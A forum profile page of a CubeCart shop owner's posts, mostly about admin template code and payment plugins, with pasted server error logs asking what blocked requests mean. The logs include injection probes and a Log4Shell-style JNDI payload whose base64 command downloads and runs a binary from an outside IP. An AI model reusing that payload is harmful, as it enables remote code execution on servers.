Claudia M
-
Posts
847 -
Joined
-
Last visited
-
Days Won
13
Posts posted by Claudia M
-
-
It was where I placed the last code. I had added other elements and placed this in the middle for some stupid reason. But it's got my wondering if my other added code is correct. Should I add foreach on all of them and have two } instead of the one?
Here's a partial sample of what I have now:
// Update Status
foreach ($_POST['status'] as $product_id => $status) {
$GLOBALS['db']->update('CubeCart_inventory', array('status' => $status), array('product_id' => $product_id));
}
if (isset($_POST['latest']) && is_array($_POST['latest']) && Admin::getInstance()->permissions('products', CC_PERM_EDIT)) {
// Update Latest Product state
foreach ($_POST['latest'] as $product_id => $state) {
$GLOBALS['db']->update('CubeCart_inventory', array('latest' => $state), array('product_id' => $product_id));
}
}
if (isset($_POST['product']) && is_array($_POST['product'])) {
// Update Product Code
foreach ($_POST['product'] as $product_id => $product_detail_to_update) {
if (isset($product_detail_to_update['product_code'])) {
$GLOBALS['db']->update('CubeCart_inventory', array('product_code' => $product_detail_to_update['product_code']), array('product_id' => $product_id));
}
// Update Product Name
if (isset($product_detail_to_update['product_name'])) {
$GLOBALS['db']->update('CubeCart_inventory', array('name' => $product_detail_to_update['product_name']), array('product_id' => $product_id));
}
// Update Product Price
if (isset($product_detail_to_update['product_price'])) {
$GLOBALS['db']->update('CubeCart_inventory', array('price' => $product_detail_to_update['product_price']), array('product_id' => $product_id));
}
// Update Cost Price
if (isset($product_detail_to_update['cost_price'])) {
$GLOBALS['db']->update('CubeCart_inventory', array('cost_price' => $product_detail_to_update['cost_price']), array('product_id' => $product_id));
}
// Update Item Location
if (isset($product_detail_to_update['item_location'])) {
$GLOBALS['db']->update('CubeCart_inventory', array('item_location' => $product_detail_to_update['item_location']), array('product_id' => $product_id));
}
-
It works if I do it from the general information page for the product - but not from the added checkbox on the product inventory page
-
Hi Brian,
I implemented the code above and though I can put the checkmark in the box it does not stay there when I click save. Any suggestions.
-
Hi Ian,
I looked at that and though it is a great plugin I think I have things the way I want now. I did purchase the Automatic XML Sitemap Generator from you for my new site but it's showing pending. Is there something I need to do?
Claudia
-
Thank you Brian .... that did it!
This should maybe be something that is stock in Cubecart? A lot of people don't really use this for the most current products
-
I am trying to add a sortable checkbox for latest products on the product inventory page in admin. I change my latest products frequently and want to keep track of them. I can get the checkbox to show up, I just can't get it to work.
I've added this so the checkbox doesn't take up a lot of room on the product inventory page
<thead>
<tr>
<th nowrap="nowrap"> </th>
<th nowrap="nowrap">{$THEAD.name}</th>
<th nowrap="nowrap">LP</th>
<th nowrap="nowrap">{$THEAD.image}</th>
A few lines later I put this
<span class="light-category">{$product.category}</span>
{/if}
</td>
<td style="text-align:center"><input type="hidden" name="latest" id="product_latest" class="toggle" value="{$PRODUCT.latest}"></td>
<td style="text-align:center">
{if !empty($product.image_path_tiny)}
I know I need to put something like this in the source file to make it sortable but I need to get it to work first
// Sorting
$current_page = currentPage(array('sort'));
if (!isset($_GET['sort']) || !is_array($_GET['sort'])) {
$_GET['sort'] = array('updated' => 'DESC');
}
$thead_sort = array(
'status' => $GLOBALS['db']->column_sort('status', $lang['common']['status'], 'sort', $current_page, $_GET['sort']),
'digital' => $GLOBALS['db']->column_sort('digital', $lang['common']['type'], 'sort', $current_page, $_GET['sort']),
'product_latest' => $GLOBALS['db']->column_sort('product_latest', $lang['catalogue']['type'], 'sort', $current_page, $_GET['sort']),
The checkbox won't stay checked and I didn't want to go any further and mess everything up.
Thanks for any and all help
Claudia
-
Thanks,
I customized the Foundation skin quite a bit - with a lot of help!!
-
When I started using PayPal Commerce instead of standard my fees when up to 3.49% + .49 (USA) In looking at PayPal's fee page they state this is standard for all other commercial transactions.
-
I want it initially unchecked when adding a new product? I'm very forgetful about checkmarks LOL
-
How do I uncheck the automatically generate product code in admin/product/ general information. For some reason when I upgraded to 6.4.3 if I put in my own product code it does not take the first time and I have to go back in admin and reenter my product code. Thought it might have something to do with this being checked and I overlooked it.
Thanks in advance,
Claudia
-
Yes .. I did a test with my info and clicked the submit payment button once and it seemed nothing was happening so I clicked it again. It processed the payment twice. I added at note to the screen.
Click the above "Submit Payment' button ONCE only. Do not use the back button. Please do not exit from this page while your order is processing.
-
I love this plugin!! And all my the plugins from Sempfi. Best customer service, Daren goes beyond the norm when it comes to helping his customers. A+++++++
-
i'll check it out, thanks
Well, that was quick! I had an extra <tr>
-
Hi ... Brian,
You had previously given me some code to be able to sort and edit all for this plugin. Thank you It's great!!!. I just upgrade to the latest version of the All in One Shipping and was implementing the changes your gave me. Something doesn't look right. How can I get the drag image up on the line with the rest of the info and not on a line by itself? Thanks in advance ... Claudia
-
" Illegal array key 'cart_lookup'
You have a malfunctioning plugin. It is adding '&cart_lookup' (including the apostrophes) to /index.php?_a=vieworder'&cart_lookup'. View Order is a storefront URL where a customer examines past orders. "" Invalid Security Token
What version of CubeCart and PayPal_Pro are you running. As of CC618 (supposedly), _g=rm is supposed to be "ignored" and not cause CSRF or bad security token errors. "I have an old version of PayPal Pro installed. I'll upgrade and see if that fixes these errors. Thanks Brian
-
These are errors and the log entries I found. I know that the first ones have been explained to me but I can’t remember what I was told. I’m going to start keeping track so I don’t have to ask again. But for now could some please tell me what these mean and if they are anything to worry about. I’ve replaced secure info with xxx. Thanks in advance.
Claudia
ERRORS
[25-Jun-2018 01:44:18 UTC] PHP Warning: Security Warning: Illegal array key "cart_lookup'" was detected and was removed. in /home/claudias/public_html/classes/sanitize.class.php on line 111
[25-Jun-2018 01:44:22 UTC] PHP Warning: Security Warning: Illegal array key "cart_lookup'" was detected and was removed. in /home/claudias/public_html/classes/sanitize.class.php on line 111
[25-Jun-2018 01:44:24 UTC] PHP Warning: Security Warning: Illegal array key "cart_lookup'" was detected and was removed. in /home/claudias/public_html/classes/sanitize.class.php on line 111
[25-Jun-2018 01:44:34 UTC] PHP Warning: Security Warning: Illegal array key "cart_lookup'" was detected and was removed. in /home/claudias/public_html/classes/sanitize.class.php on line 111
[25-Jun-2018 14:43:46 UTC] PHP Warning: Security Warning: Illegal array key "cart_lookup'" was detected and was removed. in /home/claudias/public_html/classes/sanitize.class.php on line 111
LOG ENTRY
185.244.213.53 - - [25/Jun/2018:02:44:18 +0100] "GET /index.php?_a=vieworder'&cart_lookup' HTTP/1.0" 404 16026 "https://claudiasbargains.com" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.50"
185.244.213.53 - - [25/Jun/2018:02:44:24 +0100] "GET /index.php?_a=vieworder'&cart_lookup' HTTP/1.0" 404 16026 "https://claudiasbargains.com" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.50"
185.244.213.53 - - [25/Jun/2018:02:44:34 +0100] "GET /index.php?_a=vieworder'&cart_lookup' HTTP/1.0" 404 16027 "https://claudiasbargains.com" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.50"
185.244.213.53 - - [25/Jun/2018:15:43:46 +0100] "HEAD /index.php?_a=vieworder'&cart_lookup' HTTP/1.0" 404 - "-" "Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3"
ERRORS
[23-Jun-2018 13:07:35 America/Louisville] PHP Warning: unlink(/home/claudias/public_html/includes/extra/PayPal_acceptance.js) [<a href='http://docs.php.net/manual/en/function.unlink.php'>function.unlink.php</a>]: No such file or directory in /home/claudias/public_html/modules/plugins/PayPal_Pro/admin/index.inc.php on line 56
LOG ENTRY
68.53.117.57 - - [23/Jun/2018:18:07:35 +0100] "GET /admin_xxx?_g=plugins&type=plugins&module=PayPal_Pro HTTP/1.1" 200 6430 "https://www.claudiasbargains.com/admin_xxx.php?_g=plugins" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
68.53.117.57 - - [23/Jun/2018:18:07:35 +0100] "GET /admin_YYxxx/skins/default/js/styles/styles.php?ed026b1d34f209ed0415087c6b2ebb07 HTTP/1.1" 200 49387 "https://www.claudiasbargains.com/admin_xxx.php?_g=plugins&type=plugins&module=PayPal_Pro" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
68.53.117.57 - - [23/Jun/2018:18:07:35 +0100] "GET /modules/plugins/PayPal_Pro/admin/logo.png HTTP/1.1" 200 1253 "https://www.claudiasbargains.com/admin_xxx.php?_g=plugins&type=plugins&module=PayPal_Pro" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
68.53.117.57 - - [23/Jun/2018:18:07:35 +0100] "GET /admin_YYxxx/skins/default/js/plugins.php?ed026b1d34f209ed0415087c6b2ebb07 HTTP/1.1" 200 110002 "https://www.claudiasbargains.com/admin_xxx.php?_g=plugins&type=plugins&module=PayPal_Pro" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
68.53.117.57 - - [23/Jun/2018:18:07:35 +0100] "GET /modules/plugins/PayPal_Pro/images/acceptance_marks_US.png HTTP/1.1" 200 32062 "https://www.claudiasbargains.com/admin_xxx.php?_g=plugins&type=plugins&module=PayPal_Pro" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
ERROR
[24-Jun-2018 19:06:24 America/Louisville] PHP Warning: Invalid argument supplied for foreach() in /home/claudias/public_html/classes/ajax.class.php on line 162
LOG ENTRY – There’s about 3 pages with this time so I’m just showing the first few
68.53.117.57 - - [25/Jun/2018:00:06:24 +0100] "GET /images/cache/decorative-plates-and-trays/658-01-calendar-1973-decorative-plate-top.140.jpg HTTP/1.1" 200 4243 "https://www.claudiasbargains.com/admin_xxx.php?_g=products&cat_id=154&sort%5Bcustom_sort%5D=ASC&page=all&action=edit&product_id=1291" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
68.53.117.57 - - [25/Jun/2018:00:06:24 +0100] "GET /images/cache/bottles-soft-drink-and-water/788-01-vintage-seven-up-diet-dots-2-soda-bottle-front.140.jpg HTTP/1.1" 200 2433 "https://www.claudiasbargains.com/admin_xxx.php?_g=products&cat_id=154&sort%5Bcustom_sort%5D=ASC&page=all&action=edit&product_id=1291" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
68.53.117.57 - - [25/Jun/2018:00:06:24 +0100] "GET /images/cache/lunchboxes-and-thermos/95-01-vintage-thermos-precious-moments-front.140.jpg HTTP/1.1" 200 2895 "https://www.claudiasbargains.com/admin_xxx.php?_g=products&cat_id=154&sort%5Bcustom_sort%5D=ASC&page=all&action=edit&product_id=1291" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
68.53.117.57 - - [25/Jun/2018:00:06:24 +0100] "GET /images/cache/books-catalogs-manuals/283-01-vintage-1976-sears-catalog-front.140.jpg HTTP/1.1" 200 4908 "https://www.claudiasbargains.com/admin_xxx.php?_g=products&cat_id=154&sort%5Bcustom_sort%5D=ASC&page=all&action=edit&product_id=1291" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
68.53.117.57 - - [25/Jun/2018:00:06:24 +0100] "GET /images/cache/glass-and-tableware-vintage/cookie-jar-liberty-bell/01-cookie-jar-liberty-bell-box-front.140.jpg HTTP/1.1" 200 3143 "https://www.claudiasbargains.com/admin_xxx.php?_g=products&cat_id=154&sort%5Bcustom_sort%5D=ASC&page=all&action=edit&product_id=1291" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
68.53.117.57 - - [25/Jun/2018:00:06:24 +0100] "GET /images/cache/books-catalogs-manuals/elvis-illustrated-vintage-book/01-elvis-illustrated-vintage-book-front.140.jpg HTTP/1.1" 200 4028 "https://www.claudiasbargains.com/admin_xxx.php?_g=products&cat_id=154&sort%5Bcustom_sort%5D=ASC&page=all&action=edit&product_id=1291" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:60.0) Gecko/20100101 Firefox/60.0"
Here are some older errors:
ERROR LOG
[27-May-2018 22:04:03 America/Louisville] PHP Warning: No customer information detected. Order summary was not built or inserted. in /home/claudias/public_html/classes/order.class.php on line 1279
RAW ACCESS LOG
184.151.246.182 - - [28/May/2018:03:04:03 +0100] "GET /index.php?_a=gateway&module=PayPal_Pro HTTP/1.1" 302 20 "https://www.claudiasbargains.com/index.php?_a=checkout" "Mozilla/5.0 (iPhone; CPU iPhone OS 11_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E302 [Pinterest/iOS]"
ERROR LOG
[28-May-2018 02:05:47 UTC] PHP Warning: Invalid Security Token in /home/claudias/public_html/classes/sanitize.class.php on line 150
RAW ACCESS LOG
173.0.81.1 - - [28/May/2018:03:05:47 +0100] "POST /index.php?_g=rm&type=plugins&cmd=call&module=PayPal_Pro HTTP/1.1" 200 79594 "-" "PayPal IPN ( https://www.paypal.com/ipn )"
-
-
-
" The question then becomes, from where did CubeCart get information that the column "custom_oid" is expected to have a UNIQUE KEY. "
I think this was something I did awhile back, before the upgrade, trying to fix the orange error message. What should I do? I'll delete the custom_oid_2 right now.
-
Here is my lines 806 - 808
'email' => 'KEY',
'order_date' => 'KEY',
'custom_oid' => 'KEY'I was looking at the structure of my order_summary in the database and I think, I don't really remember, when this first came up I tried to fix this according to the previous post, but I think I put it back to how it was. Should I do something with this?
Here's what thee line looks like:
-
Then I'm just going to leave it alone.
-
How do I do that Brian if it's not automatically like that?
-
Hi,
I just upgraded to CC6.2.1. and was checking advanced/maintenance/database and this orange error was still there in order_summary. I thought this was going to be fixed in the new upgrade. Thanks in advance. Me
-
Thanks for the response Brian, but it seems real involved. I'll keep doing what i'm doing.
Me
What is all this in my error log
in Technical Help
Posted
Here I am again asking about warnings in my cPanel log. Never had these in my old site so just want to see what they are all about. Thanks in advance for any and all info
[18-May-2022 19:46:02 America/Louisville] PHP Warning: Security Warning: Illegal array key "unix:AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA in /home/waymixco/public_html/classes/sanitize.class.php on line 114
[19-May-2022 07:05:57 America/Louisville] PHP Warning: Security Warning: Illegal array key "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//150_136_111_68:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTQwLjIzOC4xODAuMzQvbGliY3VybDsgY3VybCAtTyBodHRwOi8vMTQwLjIzOC4xODAuMzQvbGliY3VybDsgY2htb2QgNzc3IGxpYmN1cmw7IC4vbGliY3VybCBzZXR1cA" was detected and was removed. in /home/waymixco/public_html/classes/sanitize.class.php on line 114
[19-May-2022 08:41:49 America/Louisville] PHP Warning: Invalid Security Token in /home/waymixco/public_html/classes/sanitize.class.php on line 155
[19-May-2022 15:40:02 America/Louisville] PHP Warning: Invalid Security Token in /home/waymixco/public_html/classes/sanitize.class.php on line 155
[19-May-2022 17:20:17 America/Louisville] PHP Warning: Security Warning: Illegal array key "@test_com/owa/?" was detected and was removed. in /home/waymixco/public_html/classes/sanitize.class.php on line 114
[19-May-2022 17:58:28 America/Louisville] PHP Warning: Security Warning: Illegal array key "images/" was detected and was removed. in /home/waymixco/public_html/classes/sanitize.class.php on line 114
[19-May-2022 08:41:49 America/Louisville] PHP Warning: Invalid Security Token in /home/waymixco/public_html/classes/sanitize.class.php on line 155
[19-May-2022 15:40:02 America/Louisville] PHP Warning: Invalid Security Token in /home/waymixco/public_html/classes/sanitize.class.php on line 155
[19-May-2022 17:20:17 America/Louisville] PHP Warning: Security Warning: Illegal array key "@test_com/owa/?" was detected and was removed. in /home/waymixco/public_html/classes/sanitize.class.php on line 114